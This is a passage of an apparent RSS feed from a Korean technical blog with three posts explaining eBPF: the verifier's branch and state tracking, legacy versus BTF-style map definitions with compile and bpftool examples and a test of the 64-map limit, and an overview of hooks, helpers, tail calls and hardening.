<p>다음으로 레지스터를 설정하여 명령어 순회를 통해 레지스터와 스택의 상태를 업데이트한다. 상태 정보에는 <code>smax32</code>(이 레지스터에 저장될 수 있는 가장 큰 32비트 정수)와 같은 정보가 포함된다. 해당 정보를 통해 Verifier는 조건 분기가 잘 실행되는지 여부를 검증할 수 있다.
Verifier는 분기 명령을 지날 때마다 현재 상태를 두 갈래로 나누고, 그중 하나의 분기 결과와 상태를 큐에 저장한 다음 상태를 업데이트 한다. 두 갈래로 나누는 이유는 <strong>결정론적 안정성 보장, 정밀한 범위 추적, 상태 폭발 방지</strong>를 위해서다.</p>
<ul>
<li><p>결정론적 안정성 보장
eBPF 프로그램은 어떤 경우에도 안전한 코드여야 한다. 프로그램 내 분기(if)는 런타임 입력 값에 따라 실행 경로를 결정하는데, Verifier가 동작하는 단계에선 <strong>입력값이 무엇인지 알 수 없기 때문</strong>에 조건이 참인 경우, 거짓인 경우 모두 독립적으로 가정하고 검증해야 한다.</p>
</li>
<li><p>정밀한 범위 추적
분기문을 지나는 순간 레지스터가 가질 수 있는 값은 이전보다 좁아진다. 좁아진 범위 정보는 다음 명령어에서 메모리 주소를 계산할 때 해당 주소가 <strong>유효한 범위 내에 있는지 확인</strong>하는 근거가 된다.</p>
</li>
<li><p>상태 폭발 방지
모든 경로를 나누면 경우의 수가 기하급수적으로 늘어나는 <strong>상태 폭발 문제</strong>가 발생하는데, 이때 큐에 저장된 다른 분기 정보를 검사한 결과 값을 통해 검사 상태와 <strong>동일하거나 더 타이트한 하위 집합인 상태</strong>가 확인되면 검사를 조기 종료시켜 효율성을 확보한다.</p>
</li>
</ul>
<p>결론적으로 상태를 나누는 행위는 <strong>eBPF가 제공하는 런타임 오버헤드가 없는 안전성</strong>을 구현하기 위한 장치인 것이다.
또한 값뿐만 아니라 데이터 타입도 추적한다. 정수인지 Map 값에 대한 Pointer인지 검사하여 Context에서 offset을 역참조할 때마다 현재 프로그램 유형에 대해 허용 여부와 offset이 Context 범위 내에 있는지 확인한다.
이러한 유형 정보 검사를 통해 Helper 함수 호출 또는 일반적인 함수 호출에 올바른 매개변수가 전달되는지 확인한다.</p>
<blockquote>
<h4 id="context">Context</h4>
<p>여기서 말하는 Context는 처리해야 할 데이터 구조체 포인터라고 생각하면 된다.</p>
</blockquote>
<p>BTF(BPF Type Format)를 사용하여 Map 값에 타이머 또는 스핀락이 포함되어 있는지 확인할 수 있고, 올바른 매개변수가 KFunc에 전달되는지, BTF 함수가 실제 BPF 함수와 일치하는지 등도 검사한다.</p>
<blockquote>
<h4 id="spinlock">SpinLock</h4>
<p>스핀락은 Mutex, Semaphor와 같이 공유 자원에 대한 상호 배타를 위해 사용된다. 공유 자원에 대한 lock을 획득할 때까지 Thread가 멈추지 않고 루프를 돌며(busy-waiting) 재시도하는 동기화 기법이다.</p>
</blockquote>
<p>Verifier가 검사를 수행하는 과정을 보면 꽤나 복잡하여 하드웨어 리소스를 많이 소모할거 같지만 상태를 저장할 수 있는 공간에 제한을 두어 Kernel Level에 안전성을 훼손하지 않으면서 검사를 한다. Kernel 버전 5.2까지 명령어 제한이 약 4,000개, 복잡도 제한이 약 128,000으로 제한됐지만 이후 버전에서 둘 다 100만까지 늘어났다.</p>
<h2 id="verifier-특징">Verifier 특징</h2>
<ul>
<li><p><strong>Tail Call을 활용한 검증 로직 분산 및 최적화</strong>
Tail Call은 현재 실행 중인 eBPF 프로그램의 실행을 종료하고, 다른 eBPF 프로그램의 진입점으로 제어권을 넘긴다. 일반적인 함수 호출과 달리 복귀 주소를 스택에 쌓지 않으므로, 호출한 프로그램으로 되돌아오지 않는 <strong>일방향 점프 방식</strong>이다. 단일 프로그램에 적용되는 Verifier의 <strong>명령어 수 및 상태 분기 제한을 극복</strong>하기 위해 대규모 로직을 여러 프로그램으로 분할하여 로드할 수 있게 하여 전체 시스템의 검증 부하를 낮춘다.
하지만 무한 루프 및 리소스 고갈 문제가 있을 수 있어 <strong>Tail Call 호출을 33회로 제한</strong>한다. 또한, <strong>Program Array Map</strong>을 참조하여 수행해서 호출 시점의 <strong>컨텍스트 타입이 대상 프로그램과 호환</strong>되는지를 확인한다.</p>
</li>
<li><p><strong>Dead Code 제거</strong>
앞서 언급한 Dead Code로 발생할 수 있는 문제를 4.15 버전에서는 <code>NOP</code> 상태로 정의하여 <strong>실행 불가능한 상태</strong>로 만들었고, 5.1 버전에서는 성능 최적화도 고려해서 <strong>코드를 실제로 삭제</strong>하여 분기 구조를 단순화 했다. 하지만 이런 삭제와 분기 단순화 과정은 복잡하여 Verifier가 안전하다고 판단한 코드가 실제로 안전하지 않은 위치로 점프할 가능성이 존재했기 때문에 <code>CAP_BPF</code>, <code>CAP_SYS_ADMIN</code>과 같은 높은 권한이 있는 프로그램에만 이를 허용한다.</p>
</li>
</ul>
<h2 id="마치며">마치며</h2>
<p>이번 포스트에선 eBPF Program이 컴파일 되기 전 단계인 검증하는 로직을 자세히 알아봤다. Map에 대한 동작은 이해하기 쉬웠는데 검증 로직을 담당하는 Verifier에 대해서 이해하는 데까지 많은 사전 지식이 필요했던거 같다.
다음 포스트에선 eBPF Function에 대해 더 심층적으로 알아보는 시간을 갖도록 하겠다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[eBPF Map이란 무엇인가?]]></title>
            <link>https://velog.io/@_sychoii/eBPF-Map%EC%9D%B4%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%B8%EA%B0%80</link>
            <guid>https://velog.io/@_sychoii/eBPF-Map%EC%9D%B4%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%B8%EA%B0%80</guid>
            <pubDate>Fri, 13 Mar 2026 05:31:58 GMT</pubDate>
            <description><![CDATA[<h2 id="들어가며">들어가며</h2>
<p>지난 포스트에서 eBPF가 무엇인지에 대해 알아봤다. 이번 포스트에서는 eBPF Map을 어떻게 정의하고 사용하는지에 대해 정리 해보도록 하겠다.</p>
<blockquote>
<h4 id="remind">Remind</h4>
<p>eBPF Map은 eBPF 프로그램이 수집한 정보를 <strong>저장, 상태 공유</strong>의 목적을 가진 일종의 DB로, 데이터는 <strong>key-value</strong> 형태로 저장되고, <strong>ring buffer, hash table 등</strong>으로 구현이 가능하다. Kernel Level뿐만 아니라 User Level에서도 eBPF Map에 저장된 데이터에 접근 가능하다.</p>
</blockquote>
<h2 id="ebpf-map-정의">eBPF Map 정의</h2>
<p>Legacy Map부터 BTF(BPF Type Format) 스타일 Map 정의 방식을 차례대로 살펴 보겠다.</p>
<h3 id="legacy">Legacy</h3>
<pre><code class="language-c">struct bpf_map_def my_map = {
    .type = BPF_MAP_TYPE_HASH,
    .key_size = sizeof(int),
    .value_size = sizeof(int),
    .max_entries = 100,
    .map_flags = BPF_F_NO_PREALLOC,
} SEC(&quot;maps&quot;);</code></pre>
<p>위와 같이 Map을 정의하는 것이 Legacy 방식이다. 이 방식은 eBPF 라이브러리 또는 Linux uapi에서 제공하는 타입을 사용했고, ELF 섹션이 존재 해야한다. 하지만 이러한 방식은 key-value의 타입 정보가 손실된다는 문제가 있다.</p>
<pre><code class="language-c">.key_size = sizeof(int),
.value_size = sizeof(int),</code></pre>
<p>위 코드를 보면 <code>sizeof(int)</code>로 설정이 되어 있는데, 이는 컴파일 과정에서 단순한 정수 <code>4</code>로 계산되어 들어간다. 따라서 컴파일 된 후 eBPF ELF 파일의 maps 섹션에 저장될 때는</p>
<pre><code>key_size = 4
value_size = 4</code></pre><p>이런 형태로 저장되고, eBPF 도구들이 Map을 로드할 때 key-value 값이 각각 4byte라는 정보만 알 수 있는거고, 정확한 자료형 정보를 알 수 없게 되는 문제가 있다.</p>
<h3 id="btfbpf-type-format-스타일-map">BTF(BPF Type Format) 스타일 Map</h3>
<p>앞선 Legacy 형태의 Map이 가지는 문제를 해결하기 위해 새롭게 나온 eBPF 맵 정의 방식이다.</p>
<pre><code class="language-c">#define __uint(name, val) int (*name)[val]
#define __type(name, val) typeof(val) *name
#define __array(name, val) typeof(val) *name[]
#define __ulong(name, val) enum { ___bpf_concat(__unique_value, __COUNTER__) = val } name

struct my_value { int x, y, z; };

struct {
    __uint(type, BPF_MAP_TYPE_ARRAY);
    __type(key, int);
    __type(value, struct my_value);
    __uint(max_entries, 16);
} icmpcnt SEC(&quot;.maps&quot;);</code></pre>
<p>BTF 스타일의 Map은 자료형 보존을 위해 <strong>(1) 섹션 이름 변화</strong>, <strong>(2) 매크로 사용</strong> 두 부분에서 Legacy 방식과 차이가 있다. 먼저 <code>SEC(&quot;maps&quot;)</code> 대신 <code>SEC(&quot;.maps&quot;)</code>를 사용함으로써 linux/unix 시스템에서 <code>.data</code>, <code>.text</code>와 같이 어떤 값이 들어가는 공간이라는 의미를 eBPF 프로그램을 커널에 로드하는 <code>libbpf</code>에 알리는 방식으로 바뀌었다.</p>
<pre><code class="language-c">#define __type(name, val) typeof(val) *name
...
__type(key, int);
__type(value, struct my_value);
...</code></pre>
<p>그리고 <code>key_size = sizeof(int)</code> 선언 방식 대신 매크로를 활용해서 int형 포인터를 선언한다. 이는 int 타입을 가리키는 key가 있고, <code>struct my_value</code>를 가리키는 value라는 포인터가 있다고 기록함으로써 <code>linbbpf</code>는 이 정보를 통해 key가 가리키는 대상이 <code>int</code>, value가 가리키는 대상이 <code>struct my_value</code>라는 구조체 형태임을 유지하여 기존 legacy 방식의 문제를 해결했다.</p>
<h3 id="실습">실습</h3>
<p>btf 방식과 legacy 방식의 차이를 실습을 통해 알아보도록 하자.</p>
<blockquote>
<p><strong>실습환경</strong>
OS Version: <strong>ubuntu 64-bit arm server 22.04.5</strong>
Kernel Version: <strong>5.15.0-164-generic</strong></p>
</blockquote>
<blockquote>
<p><strong>실습 환경 준비</strong></p>
</blockquote>
<pre><code class="language-bash">sudo apt-get update
sudo apt-get install -y clang llvm libbpf-dev linux-tools-common linux-tools-generic linux-tools-$(uname -r)</code></pre>
<p><strong>legcy.c</strong></p>
<pre><code class="language-c">#include &lt;linux/bpf.h&gt;
#include &lt;bpf/bpf_helpers.h&gt;

// 레거시 방식: SEC(&quot;maps&quot;) 사용, 단순 크기(sizeof)만 지정
struct bpf_map_def SEC(&quot;maps&quot;) my_legacy_map = {
    .type = BPF_MAP_TYPE_ARRAY,
    .key_size = sizeof(int),
    .value_size = sizeof(int),
    .max_entries = 1,
};

char _license[] SEC(&quot;license&quot;) = &quot;GPL&quot;;</code></pre>
<p><strong>btf.c</strong></p>
<pre><code class="language-c">#include &lt;linux/bpf.h&gt;
#include &lt;bpf/bpf_helpers.h&gt;

// BTF 방식: SEC(&quot;.maps&quot;) 사용, 매크로를 통해 실제 타입(int) 전달
struct {
    __uint(type, BPF_MAP_TYPE_ARRAY);
    __type(key, int);
    __type(value, int);
    __uint(max_entries, 1);
} my_btf_map SEC(&quot;.maps&quot;);

char _license[] SEC(&quot;license&quot;) = &quot;GPL&quot;;</code></pre>
<p>앞서 확인한 내용대로 매크로를 사용, 섹션 네이밍 정보 두 가지 부분을 차이로 두고 예제 코드를 작성했다. 이를 컴파일 해주자.</p>
<pre><code class="language-bash">clang -O2 -g -target bpf -I/usr/include/$(uname -m)-linux-gnu -c legacy.c -o legacy.o</code></pre>
<pre><code class="language-bash">clang -O2 -g -target bpf -I/usr/include/$(uname -m)-linux-gnu -c btf.c -o btf.o</code></pre>
<p>컴파일을 정상적으로 완료하면 object file이 정상적으로 생성됐을거고 <code>llvm-readelf</code> 명령으로 파일 안에 어떤 섹션이 만들어졌는지 확인 해보자.</p>
<pre><code class="language-bash">llvm-readelf -S legacy.o | grep maps
llvm-readelf -S btf.o | grep maps</code></pre>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/76216f96-3390-49b3-9ee5-58a32a072793/image.png" alt=""></p>
<p>결과를 보면 이전 설명과 같이 legacy엔 <code>maps</code>, btf엔 <code>.maps</code>로 섹션이 저장된 것을 확인할 수 있다. 그리고 <code>bpftool</code>을 활용해서 생성한 오브젝트 파일을 덤프를 떠서 파일 구조를 확인해보자.</p>
<pre><code class="language-bash">bpftool btf dump file legacy.o
bpftool btf dump file btf.o</code></pre>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/54381f16-be01-47dc-9c4b-4cd39a2a3f2f/image.png" alt=""></p>
<p>먼저 legacy 덤프 파일을 보면 <code>[1] STRUCT</code>에 필드명으로 <code>key</code>가 아니라 <code>key_size</code>가 기록 되어 있고, <code>key_size</code>의 타입은 <code>type_id=22</code>라고 되어 있다. 
즉, 타입 정보에 기록된 것은 맵 구조체 안에 <code>key_size</code>라는 변수가 있고, 그 변수 타입은 <code>unsigned int</code>라는 정보만 담겨 있어 맵에 저장될 때 <strong>실제 키 데이터의 타입 정보</strong>는 담겨 있지 않은 것을 확인할 수 있다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/31bdc7f4-2f77-4cb7-b38d-3b1edb2ed10c/image.png" alt=""></p>
<p>다음 btf 덤프 파일을 보면 <code>key</code> 필드가 존재하고 타입은 <code>type_id=5</code>라는 것을 알 수 있다. 5번 섹션을 보면 <code>PTR</code> 즉, 포인터이고 이 포이터가 가리키는 곳은 <code>type_id=2</code>라는 것을 알 수 있다. 2번을 보면 정확히 <code>INT &#39;int ...&#39;</code>라고 기록 되어 있는 것으로 보아 기존 레거시 방식과 달리 자료형을 정확히 파악할 수 있다.</p>
<h2 id="bpf-map-생성">BPF Map 생성</h2>
<p>eBPF 프로그램에서 Map은 <strong>User Level</strong>에서 생성된다. <code>libbpf</code>와 같은 로더 라이브러리는 <strong>컴파일 된 ELF 파일</strong>에서 Map 선언을 가져와 자동으로 Map을 생성한다.
Map은 수동으로도 생성할 수 있다. 이때 System Call의 <code>BPF_MAP_CREATE</code> 명령을 사용하거나, 이와 같은 기능을 가진 라이브러리를 사용하여 생성할 수도 있다. Map은 무한정 생성할 수 있지 않고, <strong>eBPF 프로그램 당 64개로 제한</strong>된다.
개수가 제한되는 이유는 <code>#define MAX_USED_MAPS 64</code>라는 매크로 상수가 64로 하드코딩 되어 있고, FD(File Descriptor) 자원의 독점 방지를 위해서 제한이 있다. eBPF Map이 User Level 어플리케이션과 통신을 위해 내부적으로 FD를 부여받는데, 단일 프로그램이 너무 많은 맵과 연결되어 있으면 <strong>시스템 리소스 관리 복잡도 증가, 고갈 문제</strong>가 발생할 수 있어 제한된다.
이러한 제한 사항을 우회?하기 위해 <strong>Tail Call</strong>, <strong>Map-in-Map</strong>과 같은 아키텍처 패턴을 채택하고 권장한다고 한다. 이 내용은 이후에 추가로 정리 해보도록 하겠다.</p>
<h3 id="실습-1">실습</h3>
<p>해당 실습은 Map 개수 제한을 확인하기 위해 간단하게 진행했다.</p>
<pre><code class="language-bash">cat &lt;&lt; &#39;EOF&#39; &gt; generate_maps.sh
#!/bin/bash
NUM_MAPS=$1
FILE_NAME=&quot;test_${NUM_MAPS}_maps.c&quot;

echo &#39;#include &lt;linux/bpf.h&gt;&#39; &gt; $FILE_NAME
echo &#39;#include &lt;bpf/bpf_helpers.h&gt;&#39; &gt;&gt; $FILE_NAME

# 1. 지정된 개수만큼 맵 선언
for i in $(seq 1 $NUM_MAPS); do
    cat &lt;&lt; MAP_DEF &gt;&gt; $FILE_NAME
struct {
    __uint(type, BPF_MAP_TYPE_ARRAY);
    __type(key, int);
    __type(value, int);
    __uint(max_entries, 1);
} map_$i SEC(&quot;.maps&quot;);
MAP_DEF
done

# 2. XDP 프로그램 작성 및 맵 참조
echo &#39;SEC(&quot;xdp&quot;)&#39; &gt;&gt; $FILE_NAME
echo &#39;int test_prog(struct xdp_md *ctx) {&#39; &gt;&gt; $FILE_NAME
echo &#39;    int key = 0;&#39; &gt;&gt; $FILE_NAME

for i in $(seq 1 $NUM_MAPS); do
    echo &quot;    bpf_map_lookup_elem(&amp;map_$i, &amp;key);&quot; &gt;&gt; $FILE_NAME
done

echo &#39;    return XDP_PASS;&#39; &gt;&gt; $FILE_NAME
echo &#39;}&#39; &gt;&gt; $FILE_NAME
echo &#39;char _license[] SEC(&quot;license&quot;) = &quot;GPL&quot;;&#39; &gt;&gt; $FILE_NAME

echo &quot;✅ $FILE_NAME 파일 생성 완료!&quot;
EOF

chmod +x generate_maps.sh</code></pre>
<p>입력한 개수만큼 Map을 선언하고, 선언된 Map들을 모두 참조하는 eBPF C코드를 만들어주는 스크립트다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/e46db98c-d01d-4c0c-a64e-141d5d5d8702/image.png" alt=""></p>
<pre><code class="language-bash"># 1. 64개 맵을 사용하는 코드 생성 및 컴파일
./generate_maps.sh 64
clang -O2 -g -target bpf -I/usr/include/$(uname -m)-linux-gnu -c test_64_maps.c -o test_64_maps.o

# 2. 65개 맵을 사용하는 코드 생성 및 컴파일
./generate_maps.sh 65
clang -O2 -g -target bpf -I/usr/include/$(uname -m)-linux-gnu -c test_65_maps.c -o test_65_maps.o</code></pre>
<p>clang을 통해 64개, 65개 코드를 각각 만들고 컴파일한다. 컴파일 단계에서 이를 제한하진 않기 때문에 정상적으로 오브젝트 파일이 생성된다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/d051d022-dd63-4254-8bee-76b3f1350fa5/image.png" alt=""></p>
<pre><code class="language-bash">sudo bpftool prog load test_64_maps.o /sys/fs/bpf/test_64
sudo bpftool prog load test_65_maps.o /sys/fs/bpf/test_65</code></pre>
<p>이제 생성된 각각의 오브젝트 파일을 이용해 로드 해보면 65개만 에러가 발생한다는 것을 확인할 수 있다. 에러 메세지도 보면 <strong>&quot;Argument list too long&quot;</strong> 즉, 개수를 초과하여 Map이 생성되지 않았다는 것을 확인할 수 있다.</p>
<h3 id="libbpf">libbpf</h3>
<p>앞서 설명한 Map 생성 기능을 제공하는 라이브러리 중 하나가 <code>libbpf</code>다.</p>
<pre><code class="language-c">LIBBPF_API int bpf_map_create(enum bpf_map_type map_type,
                  const char *map_name,
                  __u32 key_size,
                  __u32 value_size,
                  __u32 max_entries,
                  const struct bpf_map_create_opts *opts);                                                                                                                                                                                                   

struct bpf_map_create_opts {
    size_t sz; /* size of this struct for forward/backward compatibility */

    __u32 btf_fd;
    __u32 btf_key_type_id;
    __u32 btf_value_type_id;
    __u32 btf_vmlinux_value_type_id;

    __u32 inner_map_fd;
    __u32 map_flags;
    __u64 map_extra;

    __u32 numa_node;
    __u32 map_ifindex;
};</code></pre>
<p>해당 코드는 <code>/tools/lib/bpf/bpf.h</code>의 일부로, 해당 <code>bpf_map_create</code> 함수는 <code>libbpf</code> 런타임 중 Map을 생성하는 데 사용한다.</p>
<h2 id="map-사용">Map 사용</h2>
<p>Map은 Kernel Level에서 사용하는 것과 User Level에서 서로 다른 방식으로 조작된다.</p>
<h3 id="kernel-level에서-map-사용">Kernel Level에서 Map 사용</h3>
<p>Kernel Level에서 동작하는 eBPF 프로그램이 Map을 사용할 때는 Helper 함수를 통해 Map과 상호작용하고, 이는 해당 함수에 정의되어 있다. 
<code>bpf_helper_defs.h</code> 파일에 기능들이 담겨 있는 것을 알 수 있다.
<img src="https://velog.velcdn.com/images/_sychoii/post/fd4fbe56-5ada-48ca-ba54-5a221f85bb1c/image.png" alt=""></p>
<p><code>bpf_map_lookup_elem</code>을 통해 Map의 요소를 읽고, <code>bpf_map_update_elem</code>을 사용하여 업데이트, <code>bpf_map_delete_elem</code>을 사용하여 삭제를 할 수 있다. 외에도 <code>bpf_for_each_map_elem</code>과 같이 루프 기능, <code>bpf_redirect_map</code>과 같은 패킷 리다이렉션, <code>bpf_perf_event_output</code> 메세지 전송 등과 같은 기능도 제공한다.</p>
<h3 id="user-level에서-map-사용">User Level에서 Map 사용</h3>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/fb892b78-c258-4566-af50-a1f0682c07aa/image.png" alt=""></p>
<p>User Level에서 대부분 System Call 명령을 통해 <code>BPF_MAP_LOOKUP_ELEM</code> 읽기, <code>BPF_MAP_UPDATE_ELEM</code> 업데이트, <code>BPF_MAP_DELETE_ELEM</code> 삭제 기능을 지원한다. 하지만 Map의 유형에 따라 지원하는 기능이 달라 Map 별로 지원하는 명령을 확인해야 한다.</p>
<h2 id="마치며">마치며</h2>
<p>이번 포스트에선 eBPF Map에 대해 조금 더 깊게 알아봤다. 다음 포스트에선 Verifier에 대해 정리 해보도록 하겠다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[eBPF란 무엇인가?]]></title>
            <link>https://velog.io/@_sychoii/eBPF%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%B8%EA%B0%80</link>
            <guid>https://velog.io/@_sychoii/eBPF%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%B8%EA%B0%80</guid>
            <pubDate>Mon, 09 Mar 2026 13:33:47 GMT</pubDate>
            <description><![CDATA[<h2 id="들어가며">들어가며</h2>
<p>수행했던 프로젝트에서 K8s 환경에서 위협 행위에 대한 탐지를 위해 eBPF 기반 탐지도구인 Tetragon을 사용했다. 당시 프로젝트 수행 기간, 수행 요소 등을 종합적으로 고려 했을 때 여유롭게 스터디를 할 시간이 확보되지 않았다는 점과 Tetragon 탐지 고도화를 진행하면서 남았던 개인적인 아쉬움과 eBPF 기술에 대한 흥미를 위해 eBPF에 대해서 조금 더 깊이 공부 해보고자 포스트를 작성한다.
포스트는 eBPF 공식 문서를 기반으로 작성할 예정이다.</p>
<p>eBPF가 무엇인지부터 시작해서 어떤 방식으로 동작하는지에 대해 심층적으로 공부하고, Tetragon 정책 고도화까지 이어 가보려고 한다. 이번 포스트에선 eBPF가 무엇인지부터 알아보도록 하자!</p>
<blockquote>
<h4 id="kernel-프로젝트">KERNEL 프로젝트</h4>
<p><a href="https://github.com/Choseongyul/KERNEL">https://github.com/Choseongyul/KERNEL</a>
프로젝트에 대해 궁금하다면 해당 레포지터리 내용을 확인 해주세요!</p>
</blockquote>
<h2 id="ebpf란">eBPF란?</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/4d54785e-0d18-44ee-8569-52f4f2993690/image.png" alt=""></p>
<p>공식 문서에서 설명하는 eBPF는 다음과 같다.</p>
<blockquote>
<p>&quot;<strong>eBPF</strong>는 운영 체제 커널과 같은 특별한 권한이 있는 환경에서 샌드박스 프로그램을 실행시킬 수 있는 리눅스 커널의 기술에서 기원한 혁신적인 기술입니다. 이는 <strong>커널 소스 코드를 바꾸거나 커널 모듈을 로드하지 않고도 기존 커널의 기능을 안전하고 효율적으로 확장시키는 것</strong>에 사용됩니다.&quot;</p>
</blockquote>
<p>쉽게 말해서 <strong>eBPF는 커널 조작 없이, 사용자가 정의한 프로그램을 커널 레벨에서 안전하게 실행시킬 수 있는 기술을 의미</strong>한다. </p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/63770378-128d-4436-a5ea-c1345da3e4b6/image.png" alt=""></p>
<p>제한적 권한으로 Kernel Level 위에서 동작하는 User Level 같은 경우 우리가 일반적으로 컴퓨터에 앱을 설치 및 운용하는 것처럼 자유도를 갖는다. 하지만 운영체제에서 커널은 컴퓨터라는 시스템에서 최고 권한을 가지며, 편의성보단 안정성과 보안을 더 우선시 해야하기 때문에 발전 속도가 상대적으로 더딜 수 밖에 없다.</p>
<p>eBPF는 <strong>샌드박스 프로그램을 커널 내부에서 실행</strong>할 수 있게 함으로써 문제를 해결하고 발전시켰다. 우리가 어떤 프로그램을 설계하고 실험할 때 <strong>가상머신을 통해 안전하게 격리된 상태에서 수행</strong>하는 것처럼 이러한 작업이 커널 레벨에서도 가능해졌다는 뜻이다.
그리고 커널 레벨에서 eBPF 프로그램을 이후 설명 할 <strong>JIT, Verifier Engine</strong>를 통해 선제적으로 검사함으로써 추가된 프로그램들이 안전하고 효율적으로 동작할 수 있도록 보장한다.</p>
<h2 id="ebpf-hook">eBPF Hook</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/21432226-0713-4f73-8f67-d2cb1501a971/image.png" alt=""></p>
<p>eBPF 프로그램은 상시로 동작하는 것이 아니라 <strong>Event Dirven 방식으로 동작</strong>한다. 이때 <strong>Hook</strong>은 <strong>eBPF 프로그램이 동작하는 지점</strong>을 의미한다. 즉, eBPF 프로그램은 Hook이라는 지점에 부착돼서 <strong>프로그램에 정의한 특정 이벤트가 발생하면 동작</strong>한다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/1301bd43-9cbb-429d-b435-998a3f394252/image.png" alt=""></p>
<p><strong>Hook</strong>은 System Call, Kernel 함수, 네트워크 이벤트 등 자유롭게 거의 모든 공간이 될 수 있다. 또한, 목적에 맞는 Hook이 없다면 kprobe(커널 프로브), uprobe(유저 프로브)를 정의하여 <strong>User, Kernel 레벨에 관계없이 자유롭게 부착 가능</strong>하다.</p>
<h2 id="ebpf-프로그램-작성">eBPF 프로그램 작성</h2>
<p>일반적으로 eBPF 프로그램은 직접 작성하지 않고, Cilium, bcc 등 eBPF 추상화를 지원하는 프로젝트를 사용하여 간접적으로 사용한다. 내가 진행한 프로젝트에서도 Cilium을 이용했다.
만약 앞서 언급한 eBPF 추상화 도구를 사용할 수 없다면 eBPF 프로그램은 직접 작성 해야한다.</p>
<h2 id="ebpf-loader-verifier">eBPF Loader, Verifier</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/6a8d94d7-3418-4fee-84bf-a9855de426df/image.png" alt=""></p>
<p>특정 Hook이 확인되면 bpf 시스템 콜을 통해서 커널 내부로 로드된다. 이때 설정한 Hook point에 바로 부착되는 것이 아닌 <strong>Verifier로 검증 단계를 거치고, JIT Compiler를 통해 기계어로 컴파일</strong> 되어 부착된다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/71025c87-1053-4aa8-959d-63c6a3dfe50b/image.png" alt=""></p>
<p>설정한 Hook Point에 부착되기 전 <strong>권한, 정상 동작 여부, 종료 여부</strong>를 검사하게 된다. 이후 JIT(Just In Time) Complier를 거쳐 기계어로 변환되어 커널레벨에서 실행 가능한 명령어 집합으로 최종적으로 eBPF 프로그램으로써 동작하게 된다.</p>
<h2 id="ebpf-map">eBPF Map</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/a5366183-5552-4b2c-8fe9-da3c0a0148ca/image.png" alt=""></p>
<p>이렇게 부착된 eBPF 프로그램을 통해 <strong>수집된 정보를 공유 및 저장</strong>할 수 있는 공간이 필요한데 이를 <strong>eBPF Map</strong>이 수행한다. 이를 이용하여 필요한 정보를 가지고 올 수 있다. 서비스로 따지면 DB라고 생각하면 된다.</p>
<p>또한 eBPF 프로그램뿐만 아니라 User Level에서 어플리케이션에서도 <strong>Map에 저장된 정보에 접근할 수 있다.</strong> eBPF Map은 <strong>Hash table, 배열, LRU, ring buffer</strong> 등 다양한 자료구조로 구현될 수 있고, 단일 CPU 코어뿐만 아니라 전체에 대해서도 다양한 유형의 eBPF Map을 사용할 수 있다.</p>
<h2 id="helper-함수">Helper 함수</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/37581238-a1ad-4b71-9c34-efbf802c7d31/image.png" alt=""></p>
<p>앞서 eBPF Program을 이용해 커널 내에서 다양한 이벤트를 관측한다고 했다. 이는 Kernel 함수의 값을 이용해서 이루어지는데, 만약 eBPF Program이 커널 함수를 직접 호출한다면 <strong>커널 버전 변화에 따라 함수 호출 방식이 달라져 특정 커널 버전에 종속</strong>될 수 있다. 커널 버전에 따라 함수 이름이 바뀌거나, 함수 호출시 필요한 파라미터 변화 등이 있을 수 있기 때문이다. 따라서 Kernel에서 제공하는 <strong>Helper</strong> 함수를 API로 활용해서 Kernel 함수를 호출한다.</p>
<h2 id="tail-call">Tail Call</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/9ee1fcdf-9cd7-4690-ae16-cfb03c901883/image.png" alt=""></p>
<p>Tail Call은 현재 실행중인 <strong>eBPF Program 외 다른 eBPF Program을 실행</strong>하거나 <strong>현재 실행 컨텍스트를 변경</strong>할 수 있도록 하는 기능으로 execve()와 동작 방식이 유사하다.</p>
<h2 id="안정성">안정성</h2>
<p>앞서 언급한 커널 레벨에서 안정성을 eBPF도 마찬가지로 최우선적으로 고려하여 설계되었다. 안정성을 위해 eBPF는 다음 단계를 따른다.</p>
<ol>
<li><p>특별한 권한 요구
리눅스 커널에 eBPF 프로그램을 로드하려는 모든 프로세스는 특별한 권한을 가진 모드(root)에서 실행, <code>CAP_BPF</code> 권한을 가져야 한다.</p>
</li>
<li><p>검증
앞서 언급한 Verifier를 통해 <strong>정상 동작 여부, 정상 종료 여부, 복잡성, 메모리 영역 접근</strong> 등을 검사한다.</p>
</li>
<li><p>Hardening
eBPF 프로그램은 해당 eBPF 프로그램이 특별한 권한이 있는 프로세스 또는 그렇지 않은 프로세스에서 로드 되었는지를 확인한다. 먼저 eBPF 내 커널 메모리는 <strong>Read Only</strong>로 생성되어 조작이 확인될 시 크래시한다. 그 다음 <strong>메모리 마스킹</strong>을 통해 제한된 영역에 접근하도록 하고, 코드에 존재하는 상수를 모두 가려 <strong>JIT 스프레이와 같은 eBPF 프로그램의 메모리 영역에 침입하여 상수로 위장한 채로 침투한 악성 코드를 실행</strong>과 같은 공격에 대응한다.</p>
</li>
<li><p>추상화 된 런타임 컨텍스트</p>
</li>
</ol>
<p><strong>eBPF Helper</strong> 함수를 이용하여 커널 메모리에 접근할 수 있도록 하여, <strong>일관성 있는 데이터 접근과 해당 eBPF 프로그램이 접근 가능한 데이터만 접근</strong>할 수 있도록 보장한다.</p>
<h2 id="마치며">마치며</h2>
<p>이번 포스트는 eBPF에 대한 Overview 느낌으로 각 구성 요소에 대해 가볍게 알아봤다. 다음 포스트에선 eBPF Map을 시작으로 각 구성 요소에 대해 좀 더 심층적인 내용을 다뤄보도록 하겠다.</p>
]]></description>
        </item>
        <item>
